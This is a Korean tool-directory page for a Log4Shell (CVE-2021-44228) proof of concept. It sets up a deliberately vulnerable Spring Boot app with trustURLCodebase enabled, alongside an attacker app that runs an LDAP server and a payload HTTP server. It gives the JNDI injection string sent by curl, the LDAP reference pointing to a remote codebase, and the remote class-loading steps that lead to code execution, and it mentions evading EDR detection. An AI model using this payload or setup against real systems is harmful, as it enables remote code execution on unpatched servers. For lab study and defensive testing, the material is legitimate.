Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 개념 증명 | Kitploit
도구/GitHubGitHub/spasam/log4j2-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 개념 증명

저장소 보기
24년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4Shell CVE-2021-44228 개념 증명

요구 사항

  • Java (JDK/JRE) 8 이상 버전
  • curl

exploitable

사용자 이름과 비밀번호가 있는 로그인 페이지를 제공하는 간단한 Spring Boot 애플리케이션입니다. POST로 /에 전송되면 사용자 이름을 기록합니다. 취약한 애플리케이션이 사용자 제공 입력을 기록할 필요는 없습니다. 취약한 log4j2 버전을 사용하는 액세스 로깅을 활성화하는 것만으로 충분합니다.

실행 방법:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

기본적으로 8080 포트에서 수신 대기합니다. 브라우저에서 http://localhost:8080/ 에 접속하면 다음과 같은 화면이 표시됩니다:

pom.xml에서 다음 JVM 속성을 확인할 수 있습니다:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

이 속성은 이전 버전의 JDK에서는 필요하지 않습니다. 기본값은 JDK 11.0.1, 8u191, 7u201, 6u211에서 false로 변경되었습니다. 이 속성이 없어도 애플리케이션은 민감한 데이터를 유출할 수 있는 초기 LDAP 요청에 취약합니다.

hacker

두 가지 목적을 수행하는 해커 애플리케이션입니다:

  • 취약한 페이로드를 제공하기 위해 9090 포트에서 HTTP 서버 시작
  • 1389 포트에서 인메모리 LDAP 서버 시작

실행 방법:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

pom.xml에서 취약한 애플리케이션으로 전송되는 기본 페이로드를 변경할 수 있습니다:

--class=SayHello가 기본값이며, 페이로드로 SayHello.class를 전송함을 의미합니다.

악용 방법

사용자 제공 입력(사용자 이름) 중 하나에 해커 LDAP 서버를 참조하여 취약한 애플리케이션에 curl 요청을 보냅니다:

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

취약한 애플리케이션 콘솔에서 다음과 같은 내용이 표시되어야 합니다:

내부 동작 방식

  • 공격자는 사용자 입력 필드 중 하나를 ${jndi:ldap://127.0.0.1:1389}로 전송했습니다.
  • 취약한 애플리케이션에 내장된 취약한 log4j2는 127.0.0.1:1389에 LDAP 요청을 수행합니다.
  • 응답으로 다음을 받습니다:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • 애플리케이션은 http://127.0.0.1:9090/SayHello.class 에서 악용 페이로드 클래스를 검색하려고 시도합니다.
  • 해커 서버는 바이너리 SayHello.class 바이트를 반환합니다.
  • 애플리케이션은 악용 클래스에서 getObjectInstance 메서드를 실행합니다.

참고

초기 LDAP 요청과 잠재적인 악용 Java 클래스 다운로드 이후에는 악용이 프로세스를 포크하거나 인터넷에 추가 연결을 할 필요가 없습니다. 일반적으로 이러한 종류의 악용은 EDR 제품 등으로 쉽게 탐지될 수 있습니다. 새로운 악용 페이로드는 탐지를 회피하기 위해 Java로 네이티브하게 구현될 것으로 예상됩니다.

도구 다운로드